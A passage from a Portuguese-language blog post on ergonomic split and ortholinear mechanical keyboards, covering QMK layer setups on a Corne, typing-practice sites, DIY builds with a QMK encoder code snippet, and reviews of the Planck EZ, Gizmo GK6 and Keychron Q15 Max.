<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/08zvubti1x2noddivb97pu7678j2" alt="corne layer 1"  loading="lazy" /></p>
<p>Este é o layer 0, sem fazer nada, se só sair digitando no meu teclado, são essas as teclas configuradas por padrão. Aqui nada de novidade, mas note embaixo, no &ldquo;thumb cluster&rdquo;, onde fica o dedão, tem uma tecla dizendo &ldquo;MO(1)&rdquo; que significa <em>&ldquo;Momentarily Turn Layer On&rdquo;</em>, ou seja, se deixar essa tecla apertada, enquanto estiver apertada, ele vai mudar pro layout na camada 1, que está configurada assim:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/6wwjkn4ei6qltt4mbk8g1d1xo50o" alt="corne layer 1"  loading="lazy" /></p>
<p>Tá vendo? É assim que, no meu caso, eu tenho acesso a teclas como &ldquo;page up&rdquo; ou &ldquo;page down&rdquo; ou setas de direção. Quem é de NeoVIM deve ter notado que é a configuração de setas de VIM. Se eu tirar o dedão daquela tecla &ldquo;MO(1)&rdquo;, volta pra camada 0 anterior, e lá, tem outra tecla modificadora, a &ldquo;MO(2)&rdquo; que muda pro seguinte layout:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/0igkt6wac5u5tfdsg2ws3glkbwul" alt="corne camada 2"  loading="lazy" /></p>
<p>É nesta camada que tenho acesso a caracteres especiais como &ldquo;@&rdquo; ou &ldquo;&amp;&rdquo;, sem precisar esticar meu mindinho até o shift no canto, como se faz num teclado convencional. Uso meu dedão. E com o dedão também tenho acesso a acentos e pontuações. Isso é muito subjetivo e cada um pode configurar como quiser, mas preferi fazer meu dedão trabalhar mais. Num teclado convencional, o dedão esquerdo serve pra dar espaço, mas o dedão direito não serve pra nada. E eles são os dedos mais fortes da sua mão. Por outro lado os dois mindinhos ficam encarregados por shift, acentos, pontuação e, em português, é ainda pior que em inglês, porque temos muito mais acentos.</p>
<p>Digitar em português é, na média, mais lento do que em inglês por conta de acentos e palavras mais longas. Mas no meu caso, dividi melhor e dei mais trabalho pro dedão. Veja meu thumb cluster, na camada 0:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/hfnc3l660frcoayvq8oiz110h1kd" alt="camada 0 thumb cluster"  loading="lazy" /></p>
<p>Além de barra de espaço, que coloquei na direita, os dedões ainda tem a função das teclas modificadoras &ldquo;MO(1)&rdquo; e &ldquo;MO(2)&rdquo; além de delete, backspace e enter. Isso tira muito trabalho dos mindinhos, e me parece uma divisão de trabalho mais justa, que leva em conta a força dos dedos. Essa é a principal vantagem de usar um teclado customizável com firmwares como QMK.</p>
<p>Existem dezenas de sugestões de outros layouts, mas leve em consideração que português, por ter acentos, não pode ser igual aos recomendados por norte-americanos. Onde você vai configurar acentos, vai mudar a velocidade e quantidade erros de sua digitação.</p>
<p>O problema é que precisa ter a mente aberta. Aceite que sua memória de teclados convencionais vai ser inutilizada e vai precisar treinar do zero. Então, em vez de tentar colocar teclas onde já está acostumado, pense em mudar pra onde faz mais sentido pro seu workflow. Por exemplo, alguém de data science ou contabilidade, pode querer colocar as teclas numéricas no formato de calculadora, como num teclado convencional grande, e isso pode ser feito numa das camadas extras. Eu tinha uma camada virtual somente com combinações de teclas pra Da Vinci Resolve, pra acelerar meu workflow de editar videos. O mesmo pode ser feito pra programar específicos como Photoshop ou Premiere.</p>
<p><a name="treinamento"></a></p>
<h2>Treinamento<span class="hx:absolute hx:-mt-20" id="treinamento"></span>
    <a href="#treinamento" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Pra aprender, não tem outro jeito, precisa treinar, horas e horas, dias e dias. Ajustar as teclas em cada camada não é uma coisa que se faz uma só vez. É um processo. Você muda, começa a treinar e vê se realmente está numa posição adequada. Se não estiver, muda, regrava o firmware, e treina mais algumas horas. Até ficar bom pras suas mãos. Esse processo leva dias. Não tente só copiar layouts de outras pessoas. Use de inspiração, mas pense no seu uso particular.</p>
<p>E treinar não é usar 1 hora e acabou. Migrar de teclado staggered convencional, pra colunar, e com layout diferente, vai levar <strong>no mínimo</strong> 40 horas de treino. Se você vai dividir 8 horas de treino por 5 dias ou 20 horas de treino em 2 dias, não importa, mas ninguém consegue ficar bom em menos de 40 horas. Pra maioria das pessoas, pense mais em torno de 50 a <strong>100 horas</strong>.</p>
<p>Eu digo isso porque muitos usam só alguns minutos e já falam <em>&ldquo;ah, isso não é pra mim, nunca vou conseguir&rdquo;.</em> Lógico, alguns minutos não é suficiente. Só depois de umas 10 horas você começa a sentir se quer ou não continuar, antes disso é pura frescura e preguiça.</p>
<p>No começo, logo que migrei, não conseguia digitar mais que 20 palavras por minuto. Treinando mais de 20 horas em 2 dias, num fim de semana, consegui subir pra 70 palavras por minuto e ao final da primeira semana, consegui voltar à minha média antiga de 90 a 100 palavras por minuto (wpm).</p>
<p>E eu tenho mais de 40 anos. Não tem nada a ver com idade. Tem a ver com dedicação em treinar. Isso dito, como treinar? Recomendo os mesmos sites que todo mundo, começando pelo bom e velho <a href="https://monkeytype.com/"target="_blank" rel="noopener">Monkey Type</a>.</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/ivWq2jwQOM0"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<p>Esse site é excepcional, dá pra treinar em quase todas as línguas do mundo. Em inglês dá pra treinar com vocabulário simples e evoluir pra dicionários de palavras bem mais avançadas, dá pra mudar o layout de teclado, cores, temas, tudo. Vale fuçar bastante as opções dele.</p>
<p>Outro site bem conhecido é o <a href="https://www.keybr.com/"target="_blank" rel="noopener">KeyBr</a> que é parecido com o MonkeyType mas não sei porque, parece que sempre vou mais lento aqui. Também tem bastante customização e vale fuçar. É bom quando estiver cansado de olhar pra cara do MonkeyType e quiser novos ares pra variar.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/5owpsnfs2vq75a3nm9k6651xifql" alt="keybr"  loading="lazy" /></p>
<p>E quando estiver se sentindo confortável (especialmente quando conseguir achar posições rápidas pra teclas de acento), experimente competir com outros usuários no bom e velho <a href="https://play.typeracer.com/"target="_blank" rel="noopener">Type Racer</a>:</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/mu5h5g2lez67fj6zzw1c1sb4qumv" alt="Type Racer"  loading="lazy" /></p>
<p>Diferente do MonkeyType e KeyBr, que não se preocupam tanto com textos que façam sentido e nem pontuação, aqui eles usam trechos de livros e artigos online. Então são trechos de textos de verdade. Também dá pra escolher diversas línguas diferentes. Inicia uma corrida, espera outros usuários aparecerem, e depois de uns 10 segundos já começa a competir.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/mlmhl8g24q3wr0wqdxgfh7d84gbl" alt="Type Racer Resultado"  loading="lazy" /></p>
<p>Em inglês normalmente se fala em WPM ou &ldquo;palavras por minuto&rdquo;, que é uma métrica que eu não gosto muito, porque palavras em inglês são muito mais curtos que em português, então 100 wpm em português é muito mais rápido do que 100 wpm em inglês. Já o TypeRacer usa &ldquo;CPM&rdquo; que é &ldquo;caracteres por minuto&rdquo;, que eu já acho mais justo.</p>
<p>E mesmo assim, em português, parte dos caracteres requerem duas teclas, uma pro acento e outro pra sílaba. Uma palavra como &ldquo;coração&rdquo; tem 7 caracteres, mas precisou de 9 toques no teclado pra escrever. Lembrem-se disso se forem treinar mais em português.</p>
<p>Finalmente, existem vários jogos gratuitos pra navegador, em javascript, pra treinar digitação e na Steam tem dois jogos pagos que recomendo pra brincar:</p>
<p><a href="https://store.steampowered.com/curator/24395108-Typing-Games/?appid=393330"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/n3wytx0g7tfs93kcpdm2vh952qu7" alt="Jogos Steam"  loading="lazy" /></a></p>
<p><strong>Epistory</strong> é bem bonitinho, uma aventura pra relaxar, dá pra crianças jogarem de boa e vai servir pra incentivar a aprender a digitar direito. Já o <strong>The Typing of the Dead Overkill</strong> é um clássico que tinha nos arcades japoneses (e tinha teclado no arcade!!) e teve versão pra Dreamcast, com um teclado pro console, feito pela Sega e agora dá pra jogar no seu PC. É levinho e divertido e tem muito gore, então não é pra todo mundo. Ambos são baratinhos, por isso recomendo.</p>
<p><a name="solucoes-diy"></a></p>
<h2>Soluções DIY<span class="hx:absolute hx:-mt-20" id="soluções-diy"></span>
    <a href="#solu%c3%a7%c3%b5es-diy" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Infelizmente, teclados ortolineares, colunares, mecânicos no geral, são muito caros. Por isso já explico: não, usar um teclado desses não vai fazer ninguém digitar 10 vezes mais rápido, nem nada disso. É uma opção de conforto, você tem que se importar com isso pra investir. Se pra você um tecladinho genérico da Multilaser já atende, e não sente vontade de mudar, tá ótimo. Continue lendo só pra saber que existem opções, mas não se sinta mal por não estar mudando hoje. Quem sabe mais pra frente.</p>
<p>Pra quem realmente quer mudar mas quer gastar o mínimo possível de dinheiro, precisa gastar mais tempo pesquisando. Lógico, tudo que custa mais caro está embutido o preço da conveniência, já vem tudo montado, bonitinho, é só ligar e usar. Mas quem quer gastar pouco, tem que aprender a opção &ldquo;DIY&rdquo; (<em>Do It Yourself</em>) e montar o seu.</p>
<p>Faz algum tempo que eu recomendo as redes sociais do <strong>Felipe/Tupinikeebs</strong>, tanto no <a href="https://x.com/neversaytop"target="_blank" rel="noopener">X</a> quanto no <a href="https://www.instagram.com/tupinikeebs/"target="_blank" rel="noopener">Instagram</a>. Ele manja tudo sobre montagem de teclados, sabe como e onde pedir todas as peças e, se pagar um extra, faz o serviço todo de encomendar, montar e te mandar já montado. Nas redes sociais dele dá pra achar tudo que é tipo de modelo diferente e exótico.</p>
<p><a href="https://www.instagram.com/tupinikeebs/"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/lnwgh8q6ywg4w5maxmenpps4chkd" alt="Tupinikeebs"  loading="lazy" /></a>
Segue ele, dá uma pesquisada no que já postou, e se quiser encomendar, manda DM. O cara é gente boa. Não incomoda com bobagem, por favor, ele tem mais o que fazer.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/71dok29u4vw25bxyuazu7sfy1pce" alt="corne, hillside"  loading="lazy" /></p>
<p>Na foto anterior temos 3 modelos similares. Dois <strong>Cornes</strong> e um <strong>Hillside</strong> (que é tipo um Corne com espaço pra um Rotary, que é aquele cilindro que dá pra girar, como pra volume).</p>
<p>Os dois primeiros usam teclas de impressora 3D, acho que de resina na verdade, uma com perfil mais de Cherry, mais alto e gordo. O segundo mais low profile e fino. O terceiro são teclas Choc low profile comerciais mesmo. Apesar de todos serem bons, eu realmente prefiro teclas industrializadas, de preferência PBT double shot. Não entendeu nada? É porque não assistiu os videos do meu canal (!!)</p>
<p>Só o do meio fui eu que montei meio que do zero, o primeiro e o terceiro foram o Felipe quem me mandou. Você pode tentar assistir tutoriais no YouTube e pesquiser em sites como o <a href="https://www.boardsource.xyz/products/Corne"target="_blank" rel="noopener">BoardSource</a>. Daí comprar diretamente todos os componentes pra montar. Tem que ficar de olho porque nem sempre tem estoque de todos os componentes.</p>
<p>O primeiro e segundo Corne da foto acho que usam o controlador <strong>Nice!Nano 2.0</strong> e o terceiro, o Hillside, usa controlador <strong>RP2040</strong>, que é mais novo e mais avançado. Eu não sou especialista em todos os modelos, mas isso é importante porque varia o tipo de firmware que suportam. Modelos mais parrudos aguentam firmwares mais complexos, com mais customizações. Por isso é bom pesquisar a respeito. O Hillside, por exemplo, tem os rotary, daí precisa ter suporte a tecla que rotaciona.</p>
<p>Quando faz clone do projeto <strong>QMK Firmware</strong> do GitHub, tem um diretório &ldquo;keyboards&rdquo; com todos os modelos conhecidos. No meu caso, fui em &ldquo;keyboards/hillside/48/keymaps/akitaonrails&rdquo; e editei o &ldquo;keymap.c&rdquo; pra ter este trecho:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cm">/* The encoder_update_user is a function.
</span></span></span><span class="line"><span class="cl"><span class="cm"> * It&#39;ll be called by QMK every time you turn the encoder.
</span></span></span><span class="line"><span class="cl"><span class="cm"> *
</span></span></span><span class="line"><span class="cl"><span class="cm"> * The index parameter tells you which encoder was turned. If you only have
</span></span></span><span class="line"><span class="cl"><span class="cm"> * one encoder, the index will always be zero.
</span></span></span><span class="line"><span class="cl"><span class="cm"> *
</span></span></span><span class="line"><span class="cl"><span class="cm"> * The clockwise parameter tells you the direction of the encoder. It&#39;ll be
</span></span></span><span class="line"><span class="cl"><span class="cm"> * true when you turned the encoder clockwise, and false otherwise.
</span></span></span><span class="line"><span class="cl"><span class="cm"> */</span>
</span></span><span class="line"><span class="cl"><span class="kt">bool</span> <span class="nf">encoder_update_user</span><span class="p">(</span><span class="kt">uint8_t</span> <span class="n">index</span><span class="p">,</span> <span class="kt">bool</span> <span class="n">clockwise</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="cm">/* With an if statement we can check which encoder was turned. */</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">index</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="cm">/* First encoder */</span>
</span></span><span class="line"><span class="cl">    <span class="cm">/* And with another if statement we can check the direction. */</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">clockwise</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="cm">/* This is where the actual magic happens: this bit of code taps on the
</span></span></span><span class="line"><span class="cl"><span class="cm">         Page Down key. You can do anything QMK allows you to do here.
</span></span></span><span class="line"><span class="cl"><span class="cm">         You&#39;ll want to replace these lines with the things you want your
</span></span></span><span class="line"><span class="cl"><span class="cm">         encoders to do. */</span>
</span></span><span class="line"><span class="cl">      <span class="nf">tap_code</span><span class="p">(</span><span class="n">KC_PGDN</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="cm">/* And likewise for the other direction, this time Page Down is pressed. */</span>
</span></span><span class="line"><span class="cl">      <span class="nf">tap_code</span><span class="p">(</span><span class="n">KC_PGUP</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="cm">/* You can copy the code and change the index for every encoder you have. Most
</span></span></span><span class="line"><span class="cl"><span class="cm">     keyboards will only have two, so this piece of code will suffice. */</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">index</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="cm">/* Second encoder */</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">clockwise</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nf">tap_code</span><span class="p">(</span><span class="n">KC_UP</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nf">tap_code</span><span class="p">(</span><span class="n">KC_DOWN</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O código não é importante agora, só pra vocês terem uma idéia. Isso foi neste caso específico. Na maioria dos casos mais simples, só precisa editar um JSON, e ajuda ter um editor visual como o <strong>QMK Configurator</strong> via Web que falei antes. Daí coloca o JSON no diretório do seu modelo de teclado e segue a documentação pra compilar o binário do firmware. Não quero ter que explicar passo a passo aqui, mas tem tutorial em todo lugar, depois dêem uma fuçada no Google e YouTube.</p>
<p>Na dúvida, hoje em dia acho que o padrão é comprar <a href="https://pandakb.com/products/parts/others/promicro-nrf52840/"target="_blank" rel="noopener">Pro Micro</a> e só se não tiver o <a href="https://nicekeyboards.com/nice-nano/"target="_blank" rel="noopener">Nice!Nano v2.0</a>. Esses chips são o que na foto aparecem no centro de cada teclado. É onde fica o cérebro que controla tudo, onde se conecta o cabo USB e o cabo de áudio P1 que conecta as duas metades. Também é onde se ligaria Wi-fi e bateria em alguns modelos. Aí faz mais diferença porque quanto mais potente, mais bateria gasta, menos tempo dura. Então precisa balancear se realmente precisa do chip mais potente.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/cgdxylg28aexie1wk6xpvtg2hiwo" alt="Controlador Nice!Nano"  loading="lazy" /></p>
<p>Olha o meu acima, é wireless, e tem bateria pequena instalada embaixo, acho que é uma Nice!Nano. O acabamento dos fios não ficou grande coisa. Está usando tanto switches Choc quanto teclas low profile estilo Choc, são lineares red, bem finos. Tem gente que prefere um teclado mais alto, eu prefiro mais baixo quanto possível.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/3vrmkf4dxd51zn9hj34sg6r2w1g4" alt="case impressão 3d mais grosso"  loading="lazy" /></p>
<p>Olha essa que o Felipe montou pra mim, com case feito em impressora 3D, bem mais grosso, com switches e teclas de tamanho normal, bem mais alto. O certo é ter apoio de pulso ou acostumar a digitar sem encostar os pulsos na mesa, senão vai dar tendinite rapidinho com essa altura. E tem esses dois buracos na direita onde dá pra colocar parafusos altos, pra fazer &ldquo;tenting&rdquo;, que nem expliquei no Moonlander. Então é boa opção pra quem não quer ou não pode pronar os pulsos (que é justamente onde &ldquo;pinça&rdquo; o nervo e dá tendinite).</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/itiib5ic6pyv5w97566ya6bre7wc" alt="hillside de perto"  loading="lazy" /></p>
<p>Essa Hillside, na verdade, tinha vindo com as teclas low profile pretas. A minha de antes era que estavam com as teclas brancas low profile Choc, mas fiquei trocando pra experimentar (maus Felipe!! kkkk). Na real, esse conjunto de teclas brancas são as que mais gosto. Note o case mais &ldquo;lean&rdquo; roxo que o Felipe fez pra esse board, e o principal, o botão giratório rotary. Dá pra programar pra muita coisa, no momento é só volume, mas acho que dá pra customizar em apps como Photoshop ou edição de video e coisas assim. Eu mesmo não cheguei a tentar, mas pra quem tem essa necessidade, é uma ótima opção.</p>
<p><a name="ortolineares-gk6"></a></p>
<h2>Ortolineares - GK6<span class="hx:absolute hx:-mt-20" id="ortolineares---gk6"></span>
    <a href="#ortolineares---gk6" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Moonlander, Corne, Hillside e outros são todos teclados colunares, staggered, e split. Eu recomendo fortemente acostumar a usar split. Primeiro porque não precisa aproximar as duas mãos, elas podem ficar afastadas, que é o mais natural.</p>
<p>Segundo, pra aprender a fazer cada mão usar as teclas corretas de cada metade, sem uma mão ficar invadindo a metade da outra. Novamente, faz parte do treino forçar isso. É outra vida quando cada dedo aprende a usar a tecla certa. Muito menos esforço, muito menos cansaço, muito menos dores e ainda aumenta velocidade e diminui quantidade de erros. Só tem vantagem.</p>
<p>Na época que fiz meu video, só tinha um modelo ortolinear que era razoável, o <strong>Planck</strong>. Planck acho que é o nome do layout, mas tinha mais de um fabricante, como a Drop (antiga MassDrop) e a própria ZSA.</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/TYTnjGOQrdU"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<p>Se quiser comprar as peças separadas pra montar você mesmo, compre a versão <a href="https://drop.com/buy/planck-mechanical-keyboard?defaultSelectionIds=988297"target="_blank" rel="noopener">Drop + OLKB</a>. E acho que vai ser a única opção porque a ZSA anunciou em Agosto de 2023 que <a href="https://blog.zsa.io/2307-goodbye-planck-ez/"target="_blank" rel="noopener">vai parar de fabricar os Planck EZ</a>, o que é uma pena. Parece que não vendia o suficiente pra justificar continuar fazendo.</p>
<p>A única vantagem dele frente aos outros que mostrei até agora, é a <strong>mobilidade</strong>. Ele é todo de plástico. É muito bem feito e bem construído, não tem cara de plástico barato. Mas por isso é bem leve, e super compacto. De dimensões, se compara a um Nintendo Switch, só mais grosso. Então é muito fácil de carregar numa mochila.</p>
<p>Assim como seu irmão maior, o Moonlander, mas diferente dos Cornes e outros modelos mais baratos, o Planck EZ tinha LEDs coloridos em cada tecla. Parece bobagem, mas agora que você entendeu que dá pra configurar diversas camadas, imagine como é mais intuitivo de encontrar o que procura se, quando apertar um modificador como o &ldquo;MO(1)&rdquo;, acender em cores customizadas que te ajudam a lembrar o que era o que.</p>
<p>Por exemplo, no video acima, dá pra ver uma camada que acende parecendo uma calculadora. Veja como acendem embaixo dos 9 números principais, daí 3 teclas na direita e 3 na esquerda com funções como adição, multiplicação, etc, igual à configuração que fiz no Oryx abaixo, entenderam a utilidade?</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/en1vwj0ukc98fvddja8jgnzijsxz" alt="Oryx, calc"  loading="lazy" /></p>
<p>O problema é que uma vez que se acostuma com split, voltar pra um monolito como esse é muito chato. Trazer as mãos pra perto e ter que angular os pulsos é cansativo. É exatamente o cansaço que se tem todo dia num teclado convencional. Seus pulsos não foram feitos pra serem nem dobrados e nem rotacionados. Um teclado convencional faz exatamente tudo que seus pulsos odeiam.</p>
<p><strong>A solução é tenting e split</strong>. Mesmo se tenting ocupar muito espaço, no mínimo split já vai fazer muita diferença. Mas enfim, existe esse meio do caminho entre teclado convencional e teclado colunar, que não exige se acostumar ao split logo de cara. É esse layout <strong>ortolinear</strong>, que é um colunar não-staggered, ou seja, onde linhas e colunas estão perfeitamente alinhadas, ortogonais e alinhadas (orto-linear, entenderam?), sem levar em consideração o diferente comprimento de cada dedo.</p>
<p>Nessa categoria existem dois modelos que gostei muito. O primeiro é da <a href="https://www.gizmo.engineering/"target="_blank" rel="noopener">Gizmo Engineering, o GK6</a>. No meu caso, o modelo Imperial Panda. Todo fã de anime dos anos 2000 gosta do esquema de cor de Panda, como em Initial D.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/xifzigq5wf3c1h1ykwo31co4bcy5" alt="Moonlander vs GK6"  loading="lazy" /></p>
<p>Na foto coloquei embaixo do Moonlander, pra demonstrar o que falei antes: uma das desvantagens do Moonlander é ser um trambolho na mesa, e não é exagero. Agora, esse GK6, é extremamente bem construído, uma obra de arte na mesa.</p>
<p>O case dele é um unibody de alumínio, nível Apple de qualidade. Internamente tem espuma pra &ldquo;dampening&rdquo; do som (não vir aquele &ldquo;ping&rdquo; oco), as teclas são de extrema qualidade, dá pra sentir nos dedos a diferença. Cada posição de switch na placa mãe tem LED RGB. O único problema é que esses materiais todos são pesados. No final o teclado tem mais de 800g, <strong>quase 1 quilo</strong>, e dá pra sentir. Pra carregar na mochila já dá pra sentir bem mais pesado. É quase o dobro do peso do antigo Planck EZ que era quase todo de plástico.</p>
<p>Em termos de layout, comparado com o Corne que é 40%, este é 60%, tem 59 teclas, porque a barra de espaço ocupa dois espaços - dá pra tirar o estabilizador e dividir em duas teclas, se quiser. A diferença principal pro Corne é que tem uma linha a mais no topo, a linha de teclas numéricas. Pra quem está acostumado a usar teclados <strong>Tenkey-less</strong> (teclado convencional sem teclado numérico, como da maioria dos notebooks), tende a não ter tanto problema pra se adaptar a este layout.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/x7d1hlkksi7an3i4iyl2eb4o657r" alt="GK6 close up"  loading="lazy" /></p>
<p>É possível usar assim, mas recomendo mudar as teclas de lugar. Como um bom teclado moderno, o GK6 tem firmware que podemos customizar. Está tudo documentado <a href="https://www.gizmo.engineering/firmware"target="_blank" rel="noopener">nesta página</a> no site deles e, claro, é baseado em QMK, então podemos mudar coisas que não fazem sentido, como o &ldquo;backspace&rdquo; que fica no canto superior direito e jogar, por exemplo, pra uma das teclas do dedão, economizando seu mindinho direito. Tem gente que não gosta de fazer isso, mas recomendo tentar. Mesma coisa o enter/return, mudar pra um dos dedões.</p>
<p>O maior problema do GK6 é que sempre está fora de estoque, e o preço é bem salgado: USD 250, sem contar transporte nem impostos. Tem várias cores muito boas pra escolher, então, fiquem de olho pra quando voltar o estoque.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/zjhjrzuvtd4azlf61v613oi7me0u" alt="GK6 bottom"  loading="lazy" /></p>
<p>Sério, olha essa foto, a traseira deste teclado é mais bonita do que a frente da grande maioria dos teclados comerciais. Isso é unibody de alumínio com o nome do teclado esculpido em relevo baixo.</p>
<p><a name="ortolineares-q15"></a></p>
<h2>Ortolineares - Q15<span class="hx:absolute hx:-mt-20" id="ortolineares---q15"></span>
    <a href="#ortolineares---q15" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Mas se não tem paciência e tem dinheiro sobrando, sempre tem a opção da <strong>Keychron</strong>, que se estabelece com a marca de teclados com a maior variedade de todas. Pense num estilo, eles tem. De todos os tamanhos, de todas as qualidades, mas todos muito caros. Pelo menos, sempre costuma ter estoque.</p>
<p>E na linha ortolinear, temos que ver o <a href="https://keychronbrasil.com.br/products/keychron-q15-max-qmk-teclado-mecanico-custom-wireless"target="_blank" rel="noopener">Keychron Q15 max</a> que tem no Brasil mas está a bagatela de nada menos que R$ 2.229,00, quase USD 400 dólares. É BEM caro.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/dkrgad9ki9irl5v51erlbff2q3h3" alt="Keychron Q15 Max"  loading="lazy" /></p>
<p>Mesma coisa, comparando o tamanho com o monstruoso Moonlander. Mas veja que também é compacto. Em termos de dimensões é muito próximo do Gizmo GK6. Mas muito mais pesado, em vez de 800g, esse tem <strong>1.2 quilo</strong>. É 50% mais pesado e dá pra sentir carregando. Este, definitivamente seus ombros vão chorar quando carregar na mochila. É literalmente o peso de um Macbook Air inteiro!</p>
<p>Ele é mais caro e mais pesado porque realmente tem muito mais material. Faz o GK6 parecer teclado de hobbista. Também tem case em unibody de alumínio, múltiplas camadas, design double-gasket, espuma de dampening, camada de latex, etc. Olha isso, direto do site deles:</p>
<p><img src="https://cdn.shopify.com/s/files/1/0578/7815/1346/files/Q15-Max-structur.jpg?v=1723147312" alt="Q15 layers"  loading="lazy" /></p>
<p>Além disso tem <strong>dois rotary</strong>, um em cada canto superior, que nem o Hillside que o Felipe tinha montado pra mim, mas este tem acabamento bem profissional. Serve não só pra controlar volume, mas é muito desejável em workflows de Photoshop, Premiere, Da Vinci Resolve. Toda vez que precisar lidar com timelines, gradientes, coisas que modificam ranges de valores com precisão. Pra isso esses rotary são muito melhores do que só mouse ou combinação de teclas.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/4oja3or2pjk97ex482s7a8dont6k" alt="Q15 close up"  loading="lazy" /></p>
<p>Além disso, notem como tem teclas duplas e triplas. Ele vem com teclas extras, e essas teclas maiores tem estabilizadores, dá pra tirar e dividir em mais teclas menores. Dá pra customizar de vários jeito diferentes e, pra variar, também tem firmware baseado em QMK e um aplicativo visual pra ficar mais fácil de mudar o layout só com mouse, em vez de ter que editar um arquivo JSON.</p>
<p><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/t0wr29gfjxsw0av8vjd9tkh6l7z5" alt="Q15 bottom"  loading="lazy" /></p>
<p>Eu elogiei a traseira do GK6, mas o Q15 Max não fica atrás. Novamente, unibody de alumínio. Parafusos de bronze, se não me engano. Textura impecável. É uma obra de arte também. E dá pra ver a grossura extra desse teclado, é um pouco mais alto no topo, então é um pouco inclinado em vez de totalmente reto com o GK6. Este teclado já começa a exigir um apoio de pulso.</p>
<p>Agora, esse peso todo, e tantas camadas, também resultam num som muito mais encorpado e robusto, ouçam só:</p>


<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/l-dLYSNyDKk"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

